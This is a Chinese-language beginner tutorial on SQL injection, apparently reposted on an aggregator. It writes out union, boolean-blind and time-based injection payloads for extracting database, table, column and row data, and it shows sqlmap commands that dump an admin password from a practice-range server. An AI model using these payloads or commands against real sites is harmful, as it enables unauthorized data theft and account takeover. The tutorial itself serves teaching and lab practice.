Web入门

news/2024/11/16 23:32:14/文章来源:https://www.cnblogs.com/tlomlyiyi/p/18200911

SQL注入

数据库基础

*关系型数据库:
#Access#MSSQL -- 1433*非关系型数据库:
#MySQL -- 3306#Oracle -- 1521等

对MySQL数据库的操作

1.显示数据库					show databases;2.显示数据库版本			   select version();	3.使用数据库					use XXX;4.显示当前正在使用的数据库	    select database();5.显示当前数据库表名			  show tables;6.显示当前使用数据库的用户      select user();7.查询数据库路径			   select @@datadir; 

image

什么是SQL注入?

(1) SQL注入的概念

SQL注入是在用户请求输入时, 由于后端代码没有对用户输入的字符串进行过滤、转义、限制或处理不严谨等, 导致用户可以通过输入恶意字符串改变原有的SQL查询语句, 从而泄露信息。
image

(2) SQL注入示例

举例:
正常参数传递 http://www.xxx.com/student.php?id=1恶意构造:
select * from students_info where id = 1;#SQL注入 http://www.xxx.com/student.php?id=1 union select * from students_info;
此时所执行的SQL语句为:#select * from students_info where id = 1 union select * from students_info

联合注入

(一) 检查注入点

一: 数字型?id =1	(正常)?id =-1 (无内容)?id =1' (错误)二: 字符型?id =1' and '1' =' 1	(正常)?id =1' and '1' =' 2	(无内容)三: 总结字符型的注入需要从两个引号中逃逸来构造注入语句, 否则语句中的引号只会以字符串的形式导入数据库, 而不会执行。

(二) 查询当前数据库段数

利用ORDER BY 语句来测试当前数据库的段数, 以字符型为例。测试内容:?id=1' order by 1--+-   (正常显示)?id=1' order by 2--+-   (正常显示)?id=1' order by n--+-   (正常显示)?id=1' order by n+1--+- (报错或无显示)
*通过以上结果判断, 该数据库的段数为n个。

(三) UNION泄露信息

(1) 获取信息泄露位置:?id=-1' union select 1,2,3,...,n--+-(2) 泄露当前数据库信息:1.泄露数据库的语句如下:?id=-1' union select 1,database(),3,...,n--+-2.泄露版本的语句如下:?id=-1' union select 1,version(),3,...,n--+-3.泄露用户的语句如下:?id=-1' union select 1,user(),3,...,n--+-
(3) 泄露当前数据库下所有表名:?id=-1' union select 1,group_concat(table_name),3,...,n from information_schema.tables where table_schema=database()--+-(4) 泄露当前数据库下某表中所有列名:?id=-1' union select 1,group_concat(column_name),3,...,n from information_schema.columns where table_name='表名' and table_schema=database()--+-(5) 泄露当前数据库某表下对应列的内容?id=-1' union select 1,group_concat(列名1, 列名2, 列名3),3 from '表名' --+-

布尔注入

(一) 布尔注入的概念

布尔注入是利用or拼接两个查询语句, 当前者或者后者有一个能够返回结果时, 就可以返回结果。 因此可以控制使得第一个语句永远不成立, 当后面的语句成立时, 页面会返回结果。

适用场景:
union被拉入用户输入内容的黑名单中。

当一个页面, 存在注入, 没有显示位, 没有输出SQL语句执行错误信息, 只能通过页面返回正常不正常进行判断进行SQL注入。

(二) 获取库名

?id=-1' or length(database())>7--+-?id=-1' or ord(mid(database(),1,1))>100--+-当前数据库名的第一个字符

(三) 获取表名

?id=-1' or (select ORD(mid(GROUP_CONCAT(TABLE_NAME),1,1)) from information_schema.tables where table_schema=database() limit 0,1)>100--+-

(四) 获取列名

第一种写法: ?id=-1' or (select ord(mid(group_concat(column_name),1,1)) from information_schema.columns where table_name='emails' and table_schema=database() limit 0,1)>100--+-第二种写法:
?id=-1' or ord(mid((select group_concat(column_name) from information_schema.columns where table_name='emails'),1,1))>100--+-

(五) 获取内容

?id=-1' or ord(mid(select group_concat(id) from emails,1,1))>40--+-emails表id列第一个字符的ASCII码

时间注入

(一) 时间注入的概念

通过注入特定语句, 根据对页面请求的反馈, 来判断是否注入成功, 如: 在SQL语句中使用sleep()函数看加载网页的时间来判断注入点。

适用场景:
不管怎样变换参数, 都无法从显示页面上获取执行结果, 甚至连注入语句是否执行都无从得知。

(二) 获取库名

?id=-1' or sleep(if((select length(database()))>7,5,0))--+-*判断数据库库名长度是否大于7

工具sqlmap的使用, 将介绍一个实例

靶场地址:http://140.143.147.109:32826/
第一步测试注入点,通过对比两个url的回显结果
http://140.143.147.109:32826/post.php?p_id=1
image
http://140.143.147.109:32826/post.php?p_id=1’
image
得到注入点后, 便使用sqlmap来爆破

第一步爆破数据库名, sqlmap指令为python sqlmap.py -u http://140.143.147.109:32826/post.php?p_id=1 --dbs

image

#数据库名为cms
第二步爆破表名, sqlmap指令为python sqlmap.py -u http://140.143.147.109:32826/post.php?p_id=1 -D cms --tables

image

#表名为admin_cms
第三步爆破出字段, sqlmap指令为python sqlmap.py -u http://140.143.147.109:32826/post.php?p_id=1 -D cms -T admin_cms --columns

image

字段有id, password
最后爆破出字段password的值, sqlmap指令为python sqlmap.py -u http://140.143.147.109:32826/post.php?p_id=1 -D cms -T admin_cms -C password --dump

image

成功得到密码, 猜测账户为admin, 成功进入后台
image

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/708965.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux常用命令-文件目录命令

Linux常用命令-文件目录命令1.目录命令 1.1、ls命令:显示目录下的内容 基本格式 [root@localhost ~]# ls [选项] [参数是文件名或目录名]常用选项 -a:显示所有文件。 --color=when。支持颜色输出,when的值默认是always(总显示颜色),never(不显示颜色)和auto(自动)。 -d:显…

asdf

asf本文版权归作者和博客园共有,欢迎转载,转载请注明原文链接:https://www.cnblogs.com/lllliuxiaoxia/p/18200863另外欢迎关注公众号,一起讨论学习

啊手动阀手动阀

阿斯顿发射点发射点发生发射点发撒打发本文来自博客园,作者:胖树,转载请注明原文链接:https://www.cnblogs.com/lllliuxiaoxia/p/18200857关注我的公众号不定期推送资讯

配置SQLServer远程连接

要在 SQL Server 上启用远程连接,需要执行以下步骤:1、确保 SQL Server 已启用远程连接:  登录到 SQL Server 所在的计算机上。  打开 SQL Server Management Studio (SSMS)。  使用 Windows 身份验证或 SQL Server 身份验证登录 SQL Server。  在左侧的对象资源管理…

uCTRL论文阅读笔记

uCTRL: Unbiased Contrastive Representation Learning via Alignment and Uniformity for Collaborative Filtering论文阅读笔记 这篇文章应该是关于无偏推荐的 Abstract ​ 由于协作过滤(CF)模型的隐式用户反馈偏向于流行的项目,CF模型倾向于产生带有流行偏差的推荐列表。…

SQL Server 2012提供了多种备份和还原数据库的方法,包括以下几种:

SQL Server 2012提供了多种备份和还原数据库的方法,包括以下几种:SQL Server Management Studio(SSMS):SSMS是一个支持图形用户界面的工具,可以通过它备份和还原整个数据库或特定的数据表、视图等。在SSMS中,可以通过右键单击数据库并选择“任务” > “备份”或“还原…

BUUCTF-WEB(15-20)

[极客大挑战 2019]BabySQL 打开题目就试了试万能密码,是不行的推测应该做了过滤 我们密码框输入1 1 or 1=1试试发现我们的or没了,union,select,where都被过滤了,应该是被替换成空字符,所以我们可以双写绕过 uunionnion sselectelect wwherehere由于这里or被过滤了,我们无…

11个国内外免费域名解析服务

11个国内外免费域名解析服务 一般域名使用注册商提供的域名解析服务虽然方便,但功能大多有限,特别是目前国内还会针对某些DNS服务器进行屏蔽,造成网站无法解析的情况出现,因此,使用第三方域名解析服务也是中国网站的必要选择,这里就介绍一些常见的免费域名解析服务。 域名…

5/19/2024 测试

10pts 拿下 D1!挂分挂了 290pts! 痛失 rk3总结P 都不是,(本人)成绩构思依托(10pts)。 有重题,而且是同一场比赛出现两道 一模一样 的题(T1 && T4)题目 & 题解 T1 Color Description 有 \(n\) 个球排成一列,每个球都有一个颜色,用 \(A \sim Z\) 的大写字…

redis存储之序列化问题

1.问题描述:在SpringBoot集成Redis过程中,添加进redisf的内容如下2.出现这种情况的原因 (1) 键和值都是通过Spring提供的Serializer序列化到数据库的 (2) RedisTemplate默认使用的是JdkSerializationRedisSerializer,StringRedisTemplate默认使用的是StringRedisSerializer 3…

Vue3使用vue-cropper截图上传

!!!!!!!已使用另一个截图上传工具,稍后更新博客!!!!!! 使用vue-cropper进行截图上传 先安装 npm i vue-cropper编写组件 在components中添加imageCropper.vue 代码如下 <template><div><div><imgv-if="value"class="mb-2&qu…